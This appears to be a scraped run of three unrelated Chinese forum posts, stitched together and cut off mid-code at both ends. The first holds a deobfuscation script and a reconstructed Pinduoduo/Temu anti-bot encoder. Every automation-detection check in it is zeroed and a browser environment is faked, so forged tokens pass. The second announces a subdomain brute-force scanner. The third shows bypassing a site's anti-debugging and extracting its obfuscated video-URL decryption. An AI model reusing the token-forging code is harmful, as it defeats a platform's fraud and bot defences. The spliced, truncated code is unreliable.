"W4tdJqfiWRq=", "WOpdUM9zW5K=", "nLdcSJLc", "WPDhW5dcMSo9", "W4mrWPz1WR8=", "WPbxWRrvWRa=", "W5XyhLtdQq==", "W7mMwSkkW4y=", "ltFcTSoRW53dNaBdQhFcVK7dUW==", "W4Heq8ovWPG=", "gCoKWP0A", "m3pcSbHw", "WQFdQfv4W6nOW4C4", "W6zbsSoTWOK=", "s17dSSksW47cHCoHqXWin1yTDG==", "qg4Ylu4RjN4=", "WPqKkCoM", "l3BcTcC=", "wCkjWOhcMmkA", "W7DPBej/", "WOixiSkRW6G=", "W7ycavnq", "WOzpWRr3WOu=", "W64wF8kpW7C=", "WQfjW7tcQW==", "WQeGnSkaW5JdPMC=", "W6HLW67dHde=", "kCozgCoFW4i=", "WRRcOK/dUCoGqbbOAG==", "W4eGzmkqW7C=", "zZZdImo8W6Dg", "WOxcM3pdI8ot", "W5uIlLPa", "W7PQv3fP", "nSkulmk+Da==", "WQhcO1W=", "WQjhW7RcPCoG", "W6WOE8k0W4S=", "gMvNbSoH", "WQW2eSkGW44=", "xCkOrGyi", "W4KZF8kY", "WQScaCk8W78=", "W4WoEmk4W6HcW6qfWOi=", "xLmPdG==", "W6BdGILn", "W6y6WQLJWOi=", "WRVcQYBdUmoI", "W4ldPaboWQm=", "A8kCtbaK", "zCoCW5aVBW==", "bGy2WOuIW4aZE8ktWP0=", "fmoWWQWsW6W=", "y1G5nL8=", "ighcUcrI", "cmkLoCkmF0u=", "cCoPWQOkrG==", "yCkHWQLbuW==", "WOtcPZtdL8o5", "mH08", "WRTNW7GdW6G=", "ifFcKSk6hMrcW6u3", "smkZhmoOdW==", "qs9o", "gmojbCoZW6a=", "jxFdKCoY", "WRPKWPfnWPi=", "EmkUWQ5pzCk5WQ8=", "W50zFCk0W7jBW7G=", "W5ZdLbTbWQq=", "WQ8jj8kSW6a=", "WQfZW6OCW616WPS=", "mNFcJIDZu8oPBG==", "W6y6DSkQAG==", "zCkfa8otpq==", "WOZcHbFdISo8", "F8oWW5RdMSo3W5mqDmoNW7mrttWsFq==", "lmoJWPmoW6K=", "eSoUWOGsoSkxW6pcQsq=", "vheWd28=", "WPi8WQlcIwJcLCoduSkIW4NcMW==", "W5P8v3f4W5q=", "b8o2pCoZW4y=", "W4DZtgi=", "i0ZcN8k6hG==", "WRhcVJpdMCoZ", "lCkWdSk4rG==", "W7NdIJPJxq==", "WQD5W6uHW6O=", "i8ogWRi6W4VcTCkvfdv3W4CqiCoNWRtdPa==", "c8kLpmkgqW==", "ECkCrdG/WQH8", "smo8W5mA", "W4PAW4hdQZe=", "W5VdOZjlWOm=", "hSkKWOz+WQpdImolWQeRWPtdPa==", "cfFcH8k1aW==", "EmkAWQ5+FW==", "A8kTWQBcLSki", "WPNdLmk6fdhcQW==", "l8obn8o2W5dcQYyNW58=", "sCkGwIii", "sGVcL8kwW74=", "CmoEW4qQmG==", "W488zq==", "WOarfCkkW43dKgRdHSoGsKK=", "lhFdLq==", "kCktWOHtWRe=", "rv0TguC7vwe=", "nx/dImo2W5bgiCoYxq==", "W4f3W4BdRJq=", "WRRcP0BdL8or", "n1ddJmo8W7y=", "WQnRW7RcM8o6", "W4pcTSodgbu=", "sCoZW5qkz8koWPBcO3uIW5y=", "v8kXfSoUaqDtgSoW", "WRGimSkuW5G=", "pSoxWQuuW4JcVSkwaYHXW4CqaCo3", "hfnzeCoE"]; n = c, e = 458, function (t) { for (; --t;) n.push(n.shift()) }(++e); var W = function t(n, r) { var e = c[n -= 0]; void 0 === t.GMJOxm && (t.CPxjpy = function (t, n) { for (var r = [], e = 0, o = void 0, a = "", i = "", u = 0, c = (t = function (t) { for (var n, r, e = String(t).replace(/=+$/, ""), o = "", a = 0, i = 0; r = e.charAt(i++); ~r && (n = a % 4 ? 64 * n + r : r, a++ % 4) ? o += String.fromCharCode(255 & n >> (-2 * a & 6)) : 0) r = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(r); return o }(t)).length; u < c; u++) i += "%" + ("00" + t.charCodeAt(u).toString(16)).slice(-2); t = decodeURIComponent(i); var W = void 0; for (W = 0; W < 256; W++) r[W] = W; for (W = 0; W < 256; W++) e = (e + r[W] + n.charCodeAt(W % n.length)) % 256, o = r[W], r[W] = r[e], r[e] = o; W = 0, e = 0; for (var d = 0; d < t.length; d++) e = (e + r[W = (W + 1) % 256]) % 256, o = r[W], r[W] = r[e], r[e] = o, a += String.fromCharCode(t.charCodeAt(d) ^ r[(r[W] + r[e]) % 256]); return a } , t.hpBrye = {}, t.GMJOxm = !0); var o = t.hpBrye[n]; return void 0 === o ? (void 0 === t.HWFFId && (t.HWFFId = !0), e = t.CPxjpy(e, r), t.hpBrye[n] = e) : e = o, e } return W(arg1, arg2) } function find_path_reference(scope, txt) { if (!scope.referencePaths) return; for (let i = 0; i < scope.referencePaths.length; i++) { const ref = scope.referencePaths[i]; const varPath = ref.parentPath; const propPath = varPath.get("property") if (varPath.key == "left" && t.isLiteral(propPath.node) && propPath.node.value == txt) { // if(txt=="YIUXn")debugger return varPath.parentPath.get("right") } } } //还原字符串 traverse(ast, { CallExpression(path) { const node = path.node; if (node.arguments.length == 2 && node.arguments[0].type == "StringLiteral" && node.arguments[1].type == "StringLiteral") { try { //解密 const val = encode2(...path.node.arguments.map(x => x.value)) if (!val) { console.log("跳过") return; } // console.log(path.toString(), val) path.replaceWith(t.stringLiteral(val)) //结束当前函数递归 // path.skip(); } catch (e) { console.log(e) } } } }) //替换表达式 function rpc_reg_fn(basePath, rpsPath) { const yargs = basePath.node.arguments; if(!yargs || yargs.filter(x=>t.isFunction(x)).length){ return; } //值是方法 if (rpsPath.node.type == "FunctionExpression") { //参数名 const args = {}; rpsPath.get("params").forEach((x, i) => { args[x.node.name] = yargs[i] }) //获取表达式 const temp_node = t.cloneNode(rpsPath.get("body.body.0.argument").node, true); if (!temp_node) { return; } traverse(temp_node, { Identifier(path) { const rg = args[path.node.name]; if (!rg) { return; } try { path.replaceWith(t.cloneNode(rg, true)) path.skip(); } catch (e) { console.log(basePath,rpsPath) debugger } } }, { noScope: true }) try { basePath.replaceWith(temp_node); } catch (e) { // console.log(e, basePath.toString()) } } else if (t.isLiteral(rpsPath.node)) { //固定内容 try { basePath.replaceWith(t.stringLiteral(rpsPath.node.value)) } catch (e) { // debugger } } } /* //还原函数basePath traverse(ast, { MemberExpression(path) { let prop = path.get("property"); if (prop.type != "StringLiteral" || path.key == "left") { //不符合格式 return; } let rpPath = path; const basePath = path.parentPath; //查找变量 function deep(path, keyPath) { const objBind = get_scope_binding(path); if (!objBind) return; const initPath = objBind.path.get("init") if (objBind.kind == "var" && initPath.type == "Identifier") { //赋值 return deep(initPath, keyPath) } //返回 const rpsPath = find_path_reference(objBind, keyPath.node.value); if (!rpsPath) { return; } if (basePath.node.type == "CallExpression") { rpPath = basePath; } rpc_reg_fn(rpPath, rpsPath); //参数对应 // keyPath.replaceWith(rpsPath.node.__clone()) // console.log(rpsPath) } deep(path, path.get("property")) // path.skip(); } }) //恢复字符串 traverse(ast, { Identifier(path) { if (!(["init", "property"].includes(path.key))) { return; } if (path.node.name == "k") { // debugger } //执行 const evl = path.evaluate(); if (!evl || !evl.value) { return; } path.replaceWith(t.valueToNode(evl.value)); path.skip(); } }) */ /* // 删除无用r['xxx']= traverse(ast, { MemberExpression(path) { if (path.get("property").type != "StringLiteral" || path.parentPath.type != "AssignmentExpression") { return; } // const key=path.get("property").node.value; const binding = get_scope_binding(path); if (!binding) { return; } //获取 const ls = binding.referencePaths.filter(x => x.parentPath.key != "left") if (ls.length < 2) { path.parentPath.remove(); } } }) //删除没用的var e = r //转源码,必须转一下否则数据不刷新 let deobfCode = generator(ast, { comments: false }).code; //在转ast ast = parse(deobfCode) traverse(ast, { "VariableDeclarator|FunctionDeclaration"(path) { const { node, scope } = path; const bind = scope.getBinding(node.id.name); if (!bind) return; const { constant, referenced, referencePaths } = bind; // If the variable is constant and never referenced, remove it. // if(path.toString()=="e = {}")debugger console.log(path.toString(), referencePaths.length) if (constant && !referenced) { path.remove(); path.skip() } } }) // 数组转点优化 traverse(ast, { MemberExpression(path) { const prop = path.get("property"); if (prop.node.type == "StringLiteral") { path.replaceWith(t.memberExpression(t.cloneNode(path.node.object, true), t.identifier(prop.node.value))) } }, // StringLiteral(path) { // if (!(path.key == "property" && /^[a-zA-Z\d]+$/.test(path.node.value))) { // return; // } // path.parentPath.replaceWith(t.memberExpression(t.cloneNode(path.parent.object, true), t.identifier(path.node.value))) // } }) traverse(ast, { EmptyStatement(path) { path.remove(); }, }) */ //美化代码 deobfCode = generator(ast, { comments: false }).code; deobfCode = beautify(deobfCode, { indent_size: 2, space_in_empty_paren: true, }); fs.writeFileSync("pdd_encode.js", deobfCode) 修复以下是使用nodejs的修复版本,放到文件最上面
const window = Object.assign(global, { outerHeight: 100, outerWidth: 100, location: { href: "https://www.temu.com", port:"" }, document: { referrer: "", cookie: "" }, screen: { availWidth: 2560, availHeight: 1400 }, navigator: { userAgent:"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.57" } }); 核心算法 function (t, n, r) { "use strict"; (function init(t) { var a = r(5); // var a = {}; var i = r(3); // var i = {}; //-------- var U = 0, $ = [], E = void 0, Y = void 0, X = 0, tt = function () { }, nt = window; var rt = window.navigator; //"ontouchstart" in nt.document 移动端还是PC端 var it = false; //("undefined" == typeof process ? "undefined" : typeof process) === "undefined" ? null : process; //浏览器环境直接为null var ut = null; var dt = function () { var a = []; // if (typeof window.outerHeight !== "number" || typeof window.outerWidth !== "number") { // a[0] = 1 // } else { // a[0] = window.outerHeight < 1 || window.outerWidth < 1 ? 1 : 0 // } a[0] = 0; //typeof nt.callPhantom !== "undefined" || typeof nt._phantom !== "undefined" ? 1 : 0; a[1] = 0; //typeof nt.Buffer === "undefined" ? 0 : 1; a[2] = 0; //typeof nt.emit === "undefined" ? 0 : 1; a[3] = 0; //typeof nt.spawn === "undefined" ? 0 : 1; a[4] = 0; //rt.webdriver === !0 ? 1 : 0; a[5] = 0; //typeof nt.domAutomation === "undefined" && typeof nt.domAutomationController === "undefined" ? 0 : 1; a[6] = 0; // try { // typeof Function.prototype.bind == "undefined" && (a[7] = 1); // Function.prototype.bind.toString().replace(/bind/g, "Error") !== Error.toString() && (a[7] = 1); // Function.prototype.toString.toString().replace(/toString/g, "Error") !== Error.toString() && (a[7] = 1); // } catch (t) { // a[7] = 0; // } a[7] = 0; //rt.plugins && rt.plugins.length === 0 ? 1 : 0; a[8] = 0; // rt.languages === "" ? 1 : 0 a[9] = 0; //nt.vendor === "Brian Paul" && nt.renderer === "Mesa OffScreen" ? 1 : 0 a[10] = 0; //nt.Modernizr && !nt.Modernizr.hairline ? 1 : 0 a[11] = 0; //nt.chrome === void 0 ? 1 : 0; a[12] = 0; //"webdriver" in rt ? 1 : 0; a[13] = 0; // window.navigator.hasOwnProperty("webdriver") ? 1 : 0; a[14] = 0; //window.history.back && window.history.back.toString().indexOf("ipcRenderer") > -1 ? 1 : 0; a[15] = 0; //child_process a[16] = 0; //nt.document.getElementById.toString().indexOf("native code") > -1 ? 0 : 1; a[17] = 0; return a; }; function xt(t, n, r) { var i = {}, u = n || nt.event; if (u.timeStamp > 0) { if (t.preTimeStamp && u.timeStamp - t.preTimeStamp < 15) { return; } t.preTimeStamp = u.timeStamp; } var c = {}; c.elementId = u.target.id || ""; c.timestamp = Date.now() - U; var W = u.changedTouches; if (W && W.length) { c.clientX = W[0].clientX, c.clientY = W[0].clientY } else { c.clientX = u.clientX, c.clientY = u.clientY } if ((void 0 === r ? "undefined" : typeof r) !== "undefined") { t.data[r].push(c); if (t.data[r].length > t.maxLength) { t.data[r].shift() } } else { t.data.push(c); if (t.data.length > t.maxLength) { t.data.shift() } } } //cookie中获取 function ft(t) { var o = {}; return (nt.document.cookie ? nt.document.cookie.split("; ") : []).some(function (r) { var i = r.split("="), u = i.slice(1).join("="), c = i[0].replace(/(%[0-9A-Z]{2})+/g, decodeURIComponent); return u = u.replace(/(%[0-9A-Z]{2})+/g, decodeURIComponent), o[c] = u, t === c }), t ? o[t] || "" : o; } //events function st(t) { if (!t || !t.length) { return [] }; var n = []; t.forEach(function (t) { var r = i.sc(t.elementId); n = n.concat(i.va(t.clientX), i.va(t.clientY), i.va(t.timestamp), i.va(r.length), r ); }) return n; } var lt = {}; lt.data = []; lt.maxLength = 1; lt.init = function () { var o = i.gos(vt, it ? "touchStartEventData" : "MouseDownEventData"); this.c = i.pbc("clickEventData" + o); }; lt.handleEvent = function (t) { xt(this, t) }; lt.packN = function () { if (this.data.length === 0) return []; var e = [].concat(i.ek(4, this.data), st(this.data)); return e.concat(this.c); }; var vt = {}; vt.data = []; vt.maxLength = 1; vt.handleEvent = function (t) { xt(this, t) }; vt.packN = function () { if (this.data.length === 0) return []; return [].concat(i.ek(it ? 1 : 2, this.data), st(this.data)); }; var _t = {}; _t.data = []; _t.maxLength = 30; _t.handleEvent = function (t) { if (it) { if (!this.data[X]) { this.data[X] = [] } xt(this, t, X) } else { xt(this, t); } }; _t.packN = function () { var e = []; if (it) { e = this.data.filter(function (t) { return t && t.length > 0; }); for (var o = 0, a = e.length - 1; a >= 0; a--) { o += e[a].length; var u = o - this.maxLength; if (u > 0 && (e[a] = e[a].slice(u)), u >= 0) { e = e.slice(a); break; } } } else { e = this.data }; if (e.length === 0) { return []; } var c = [].concat(i.ek(it ? 24 : 25, e)); if (it) { e.forEach(function (n) { c = (c = c.concat(i.va(n.length))).concat(st(n)); }) } else { c = c.concat(st(this.data)) } return c; }; //浏览器滚动条高度 documentElement.scrollTop document.body.scrollTop var pt = {}; pt.data = []; pt.maxLength = 3; pt.handleEvent = function () { var e = {}, o = nt.document.documentElement.scrollTop || nt.document.body.scrollTop; if (o > 0) { e.scrollTop = o; e.timestamp = Date.now() - U; this.data.push(e); if (this.data.length > this.maxLength) { this.data.shift() } } }; pt.packN = function () { if (it && this.handleEvent(), !this.data.length) { return []; } var t = [].concat(i.ek(3, this.data)); this.data.forEach(function (n) { t = t.concat(i.va(n.scrollTop), i.va(n.timestamp)); }) return t; }; //路由方面 location.href location.port var gt = {}; gt.init = function () { this.data = {}; this.data.href = nt.location.href; this.data.port = nt.location.port; this.c = i.pbc("locationInfo"); }; gt.packN = function () { var e = i.ek(7); var u = void 0 === this.data.href ? "" : this.data.href; var W = void 0 === this.data.port ? "" : this.data.port; if (!u && !W) { return [].concat(e, this.c); } var x = u.length > 128 ? u.slice(0, 128) : u; var f = i.sc(x); return [].concat(e, i.va(f.length), f, i.va(W.length), W.length === 0 ? [] : i.sc(this.data.port), this.c); }; //设备宽度和高度 screen.availWidth screen.availHeigh var wt = {}; wt.init = function () { this.data = {}; this.data.availWidth = nt.screen.availWidth; this.data.availHeight = nt.screen.availHeight; }; wt.packN = function () { return [].concat(i.ek(8), i.va(this.data.availWidth), i.va(this.data.availHeight)); }; //随机数 var Rt = {}; Rt.init = function () { this.data = nt.parseInt(Math.random() * (Math.pow(2, 52) + 1).toString(), 10) + nt.parseInt(Math.random() * (Math.pow(2, 30) + 1).toString(), 10) + "-" + E; }; Rt.packN = function () { return this.init(), [].concat(i.ek(9, this.data)); }; //document var Ot = {}; Ot.data = []; Ot.init = function () { var n = {}; n.CjCho = function (t) { return t(); }; this.data = dt(); }; Ot.packN = function () { try { this.data[18] = Object.keys(nt.document) .some(function (n) { return nt.document[n] && nt.document[n].cache_; }) ? 1 : 0; } catch (t) { this.data[18] = 0; } for (var e = 0, o = 0; o < this.data.length; o++) { e += this.data[o] << o; } return [].concat(i.ek(10), i.va(e)); }; //location.href var Pt = {}; Pt.init = function () { this.data = i.pbc(nt.location.href ? nt.location.href : ""); }; Pt.packN = function () { return this.data.toString().length ? [].concat(i.ek(11), this.data) : []; }; // window.DeviceOrientationEvent var zt = {}; zt.init = function () { this.data = nt.DeviceOrientationEvent ? "y" : "n"; }; zt.packN = function () { return [].concat(i.ek(12, this.data)); }; //window.DeviceMotionEvent var Jt = {}; Jt.init = function () { this.data = nt.DeviceMotionEvent ? "y" : "n"; }; Jt.packN = function () { return [].concat(i.ek(13, this.data)); }; //当前时间减去服务器更新时间 var Bt = {}; Bt.init = function () { this.data = Date.now() - Y; }; Bt.packN = function () { return this.init(), [].concat(i.ek(14, this.data)); }; //userAgent var At = {}; At.init = function () { this.data = rt.userAgent; }; At.packN = function () { return this.data.length ? [].concat(i.ek(15, this.data)) : []; }; var u = r(14) var Vt = {}; Vt.init = function () { this.data = u(); }; Vt.packN = function () { var t = this; var o = [], a = {}; a.nano_cookie_fp = 16; a.nano_storage_fp = 17; Object.keys(this.data).forEach(function (n) { var r = [].concat(t.data[n] ? i.ek(a[n], t.data[n]) : []); o.push(r); }) return o; }; //document.referrer var jt = {}; jt.init = function () { var e = nt.document.referrer || "", o = e.indexOf("?"); this.data = e.slice(0, o > -1 ? o : e.length); }; jt.packN = function () { return this.data.length ? [].concat(i.ek(18, this.data)) : []; }; //pdd_user_id var Nt = {}; Nt.init = function () { this.data = ft("pdd_user_id"); }; Nt.packN = function () { return this.data.length ? [].concat(i.ek(19, this.data)) : []; }; //api_uid var Tt = {}; Tt.init = function () { this.data = ft("api_uid"); }; Tt.packN = function () { return this.data.length ? [].concat(i.ek(20, this.data)) : []; }; // var Ut = {}; Ut.data = 0 Ut.packN = function () { return [].concat(i.ek(21, this.data)); }; // var Yt = {}; Yt.init = function (t) { this.data = t; }; Yt.packN = function () { return [].concat(i.ek(22, this.data)); }; //pdd_vds var $t = {}; $t.init = function () { this.data = ft("pdd_vds"); }; $t.packN = function () { return this.data.length ? [].concat(i.ek(23, this.data)) : []; }; //检测浏览器 var nn = {}; nn.init = function () { var e = [ nt.opr || nt.opera || rt.userAgent && " OPR/" > -1 ? 1 : 0, ("undefined" == typeof InstallTrigger ? "undefined" : typeof InstallTrigger) !== "undefined" ? 1 : 0, /constructor/i.test(nt.HTMLElement) || (nt.safari && nt.safari.pushNotification || "").toString() === "[object SafariRemoteNotification]" ? 1 : 0, nt.document && nt.document.documentMode || nt.StyleMedia || nt.navigate ? 1 : 0, nt.chrome && (nt.chrome.webstore || nt.chrome.runtime) ? 1 : 0 ]; for (var i = 0, a = 0; i < e.length; i++) { a += e[i] << i; } this.data = a; }; nn.packN = function () { return [].concat(i.ek(26), i.va(this.data)); }; function rn(t) {//Tt nn lt [wt, Ot, Pt, zt, Jt, At, Vt, jt, Nt, Tt, Yt, $t, gt, nn, lt].forEach(function (n) { n.init(t); }); } //鼠标按下和鼠标移动 function en() { return; //添加移动日志 var e = "mousedown", o = "mousemove"; it && (e = "touchstart", o = "touchmove"); nt.document.addEventListener(e, vt, !0); nt.document.addEventListener(o, _t, !0); nt.document.addEventListener("click", lt, !0); !it && nt.document.addEventListener("scroll", pt, !0); } function on() { X = 0; [vt, _t, lt, pt].forEach(function (t) { t.data = []; }); } function an() { var e = i.pbc(dt.toString() + un.toString()); $ = e.map(function (t) { return String.fromCharCode(t); }); } function un() { if (!nt) return ""; var t = []; var u = t.concat.apply( t, [ vt.packN(), _t.packN(), lt.packN(), pt.packN(), gt.packN(), wt.packN(), Rt.packN(), Ot.packN(), Pt.packN(), zt.packN(), Jt.packN(), Bt.packN(), At.packN() ].concat( (function (t) { if (Array.isArray(t)) { for (var n = 0, r = Array(t.length); n < t.length; n++) r[n] = t[n]; return r; } return Array.from(t); })(Vt.packN()) , [ jt.packN(), Nt.packN(), Tt.packN(), Ut.packN(), Yt.packN(), $t.packN(), nn.packN() ] ) ); //延迟加载 setTimeout(function () { on(); }, 0); var c = u.length.toString(2).split(""); for (var W = 0; c.length < 16; W += 1) { c.unshift("0"); } c = c.join(""); var x = []; if (u.length === 0) { x.push(0, 0) } else if (u.length > 0 && u.length <= (1 << 8) - 1) { x.push(0, u.length) } else if (u.length > (1 << 8) - 1) { x.push( nt.parseInt(c.substring(0, 8), 2), nt.parseInt(c.substring(8, 16), 2) ); } u = [].concat([3], [1, 0, 0], x, u); var f = a.deflate(u); var s = [].map.call(f, function (t) { return String.fromCharCode(t); }); return "0aq" + i.encode(s.join("") + $.join(""), i.budget); } function cn(t = {}) { var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; if ((void 0 === nt ? "undefined" : typeof nt) !== "undefined") { //更新服务器时间 this.updateServerTime(t.serverTime || 879609302220); //当前时间 U = Date.now(); //初始化 rn(U, nt); // en(); an(); } } cn.prototype.updateServerTime = function (t) { Y = Date.now(); E = t; }; cn.prototype.init = tt; cn.prototype.clearCache = tt; cn.prototype.messagePack = function () { return Ut.data++, un(); }; cn.prototype.messagePackSync = function () { return new Promise(function (n) { Ut.data++, n(un()); }); }; //这里如果是node环境就添加 swallow if (ut && ut.env && ut.env.BROWSER) { cn.prototype.swallow = function (t) { switch (t.type) { case "click": lt.handleEvent(t); break; case "touchstart": case "mousedown": vt.handleEvent(t); break; case "touchmove": case "mousemove": _t.handleEvent(t); } } } t.exports = cn; // return cn; }).call(this, r(1)(t)) }1 个帖子 - 1 位参与者
异步子域名扫描器 支持泛解析
前期发过一个极速子域名扫描器,但由于是同步的方式,所以速度有点不够快,且不支持泛解析判断,此次进行了大幅度的改进。
改进如下:
采用异步方式发包
支持泛解析判断(判断原理是获取全部标题,然后去重)
支持状态码200,302,403
支持http/https
泛解析大字典在扫描时表格不会实时输出,会保存到字典,然后扫描完成点击大字典处理会将存在的子域名写入到文件和列表。
扫描字典进行了改进,搜集了很多知名工具的目录集合到了一起。
其余的和上一版本该有的功能都有。
程序支持http/https,支持响应码为200,302,403
程序采用异步发包的方式,所以速度比同步发包要快一些毕竟不阻塞。
程序原理比较简单,利用字典爆破子域名,没有别的方式。所以爆破的结果取决于字典的质量。内置的字典是法师的字典和k8的字典以及GitHub的一些字典。
与其他扫描器不同之处是有个标题获取功能,这样似乎更方便,省的手动每个打开,可以有效的确定是不是目标系统。
看了很多子域名的扫描工具,大大小小都有一些对泛解析的判断,而大多数判断方式是1、先获取一个肯定不存在的子域名,并解析其获取其ip,记为ip-A。然后爆破获取到的域名均进行解析获取ip,记为ip-B,与ip-A进行对比,不一致则可判定为真实存在的子域名。2、比对响应TTL值,比对过程同上,不一致则为真实存在的子域名。
归根到底是判断差异性从而获取存在的子域名。
我试验了几个支持泛解析的工具(判断原理上述),但效果并不理想。
所以干脆自己写了一个。
我的判断原理是,获取每个标题,然后字典跑完以后根据标题去重获取存在的子域名。(毕竟不可能每个网站标题都一样)
默认是没有开启泛解析的,爆破泛解析的域名可以用小字典或大字典。
小字典模式(会实时输出到列表,然后字典跑完以后点击泛解析处理(小字典)),就会自动去重,然后可以点击泛解析格式导出,当然也可以不导出。
大字典模式(不会实时输出到列表,因为数量太大。会自动保存到集合,然后结束以后点击泛解析处理(大字典),会将去重后的结果显示到列表并且在相应目录生成结果文件。
优先建议使用小字典模式,因为小字典的质量还是不错的。
最后说明:没有什么技术含量,只是觉得这个泛解析判断方式比较好而且也没有见到同款判断原理的工具。大佬也可以根据这个原理改进出更为强大的工具。
本程序没有直接或间接能对计算机系统实施侵入和控制的功能,挖掘子域名也要在授权的情况下使用。如在未授权的情况下使用本工具挖掘到的子域名进行的一系列违规操作,本人不直接或间接承担连带责任。
下载链接:
链接:百度网盘 请输入提取码
提取码:2ge5
1 个帖子 - 1 位参与者
记录一次樱某动漫网逆向
寒假闲来无事,无聊看看动漫,想着看樱某也有好几年了,就研究一下
\99999.png) 绕过无限debugger
随机点进一个视频,打开f12看到下图
可以看到这是一个无限debugger,它会阻止你看他代码不断的产生不可回收的对象,占据你的内存,造成内存泄漏,没过多久浏览器就会卡顿
这个debugger是从这个构造器这边进来的
绕过debugger的方式有很多种,如
-
全局/局部禁用断点
-
fd中间人替换
-
置空关键函数
这里直接在debugger右键禁用局部断点就好,然后在上一个堆栈的409行以及411行打上断点,这个时候就可以成功绕过这个debugger了.....
接着因为是视频是通过ts文件传输的,所以先找一下m3u8 的地址
介绍一下m3u8文件
M3U8是一种用于播放网络媒体的文件格式,它是一种轻量级的播放列表文件,使用UTF-8编码。 M3U8文件通常包含一组媒体文件的URL,这些文件可以是音频或视频流。
M3U8文件通常用于实现流媒体播放,例如在线视频和音频。它们可以用来实现分段加载,这样可以在网络环境较差的情况下提高播放质量。
可以看到请求m3u8 的地址形如
https://www.xxxxx.me/tmm3p/index.m3u8?path=%2Ftmm3p%2Ffabf72a50836ffa29443abd5d187d1b4.m3u8&t=1674229096&dpvt=93013199994611210910010412146119119119先下一个xhr断点,成功断下后分析调用堆栈,当前是在send栈
往下找到__getset_play这个栈
在第174行找到了m3u8的地址生成,接下来就是查看vurl是怎么构造出来的,
跟进__getplay_rev_data()函数发现如下内容,可以直接将其扣出就好~
function __getplay_rev_data(_in_data){ if(_in_data.indexOf('{') < 0){ ;var encode_version = 'jsjiami.com.v5', unthu = '__0xb5aef', __0xb5aef=['wohHHQdR','dyXDlMOIw5M=','dA9wwoRS','U8K2w7FvETZ9csKtEFTCjQ==','wo7ChVE=','VRrDhMOnw6I=','wr5LwoQkKBbDkcKwwqk='];(function(_0x22b97e,_0x2474ca){var _0x5b074e=function(_0x5864d0){while(--_0x5864d0){_0x22b97e['push'](_0x22b97e['shift']());}};_0x5b074e(++_0x2474ca);}(__0xb5aef,0x1ae));var _0x2c0f=function(_0x19a33a,_0x9a1ebf){_0x19a33a=_0x19a33a-0x0;var _0x40a3ce=__0xb5aef[_0x19a33a];if(_0x2c0f['initialized']===undefined){(function(){var _0x4d044c=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x1268d6='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x4d044c['atob']||(_0x4d044c['atob']=function(_0x2993de){var _0x467e1d=String(_0x2993de)['replace'](/=+$/,'');for(var _0x22a01d=0x0,_0x1ee2a1,_0x2cf5ea,_0x3a84f7=0x0,_0x5c0e64='';_0x2cf5ea=_0x467e1d['charAt'](_0x3a84f7++);~_0x2cf5ea&&(_0x1ee2a1=_0x22a01d%0x4?_0x1ee2a1*0x40+_0x2cf5ea:_0x2cf5ea,_0x22a01d++%0x4)?_0x5c0e64+=String['fromCharCode'](0xff&_0x1ee2a1>>(-0x2*_0x22a01d&0x6)):0x0){_0x2cf5ea=_0x1268d6['indexOf'](_0x2cf5ea);}return _0x5c0e64;});}());var _0x3c81da=function(_0x457f21,_0x6cb980){var _0x133a9b=[],_0x749ec5=0x0,_0x3ceeee,_0x1df5a4='',_0x35a2a6='';_0x457f21=atob(_0x457f21);for(var _0x9a0e47=0x0,_0x4a71aa=_0x457f21['length'];_0x9a0e47<_0x4a71aa;_0x9a0e47++){_0x35a2a6+='%'+('00'+_0x457f21['charCodeAt'](_0x9a0e47)['toString'](0x10))['slice'](-0x2);}_0x457f21=decodeURIComponent(_0x35a2a6);for(var _0x2ef02e=0x0;_0x2ef02e<0x100;_0x2ef02e++){_0x133a9b[_0x2ef02e]=_0x2ef02e;}for(_0x2ef02e=0x0;_0x2ef02e<0x100;_0x2ef02e++){_0x749ec5=(_0x749ec5+_0x133a9b[_0x2ef02e]+_0x6cb980['charCodeAt'](_0x2ef02e%_0x6cb980['length']))%0x100;_0x3ceeee=_0x133a9b[_0x2ef02e];_0x133a9b[_0x2ef02e]=_0x133a9b[_0x749ec5];_0x133a9b[_0x749ec5]=_0x3ceeee;}_0x2ef02e=0x0;_0x749ec5=0x0;for(var _0xa5d5ef=0x0;_0xa5d5ef<_0x457f21['length'];_0xa5d5ef++){_0x2ef02e=(_0x2ef02e+0x1)%0x100;_0x749ec5=(_0x749ec5+_0x133a9b[_0x2ef02e])%0x100;_0x3ceeee=_0x133a9b[_0x2ef02e];_0x133a9b[_0x2ef02e]=_0x133a9b[_0x749ec5];_0x133a9b[_0x749ec5]=_0x3ceeee;_0x1df5a4+=String['fromCharCode'](_0x457f21['charCodeAt'](_0xa5d5ef)^_0x133a9b[(_0x133a9b[_0x2ef02e]+_0x133a9b[_0x749ec5])%0x100]);}return _0x1df5a4;};_0x2c0f['rc4']=_0x3c81da;_0x2c0f['data']={};_0x2c0f['initialized']=!![];}var _0x4222af=_0x2c0f['data'][_0x19a33a];if(_0x4222af===undefined){if(_0x2c0f['once']===undefined){_0x2c0f['once']=!![];}_0x40a3ce=_0x2c0f['rc4'](_0x40a3ce,_0x9a1ebf);_0x2c0f['data'][_0x19a33a]=_0x40a3ce;}else{_0x40a3ce=_0x4222af;}return _0x40a3ce;};var panurl=_in_data;var hf_panurl='';const keyMP=0x100000;const panurl_len=panurl['length'];for(var i=0x0;i<panurl_len;i+=0x2){var mn=parseInt(panurl[i]+panurl[i+0x1],0x10);mn=(mn+keyMP-(panurl_len/0x2-0x1-i/0x2))%0x100;hf_panurl=String[_0x2c0f('0x0','1JYE')](mn)+hf_panurl;}_in_data=hf_panurl;;(function(_0x5be96b,_0x58d96a,_0x2d2c35){var _0x13ecbc={'luTaD':function _0x478551(_0x58d2f3,_0x3c17c5){return _0x58d2f3!==_0x3c17c5;},'dkPfD':function _0x52a07f(_0x5999d5,_0x5de375){return _0x5999d5===_0x5de375;},'NJDNu':function _0x386503(_0x39f385,_0x251b7b){return _0x39f385+_0x251b7b;},'mNqKE':'版本号,js会定期弹窗,还请支持我们的工作','GllzR':'删除版本号,js会定期弹窗'};_0x2d2c35='al';try{_0x2d2c35+=_0x2c0f('0x1','s^Zc');_0x58d96a=encode_version;if(!(_0x13ecbc[_0x2c0f('0x2','(fbB')](typeof 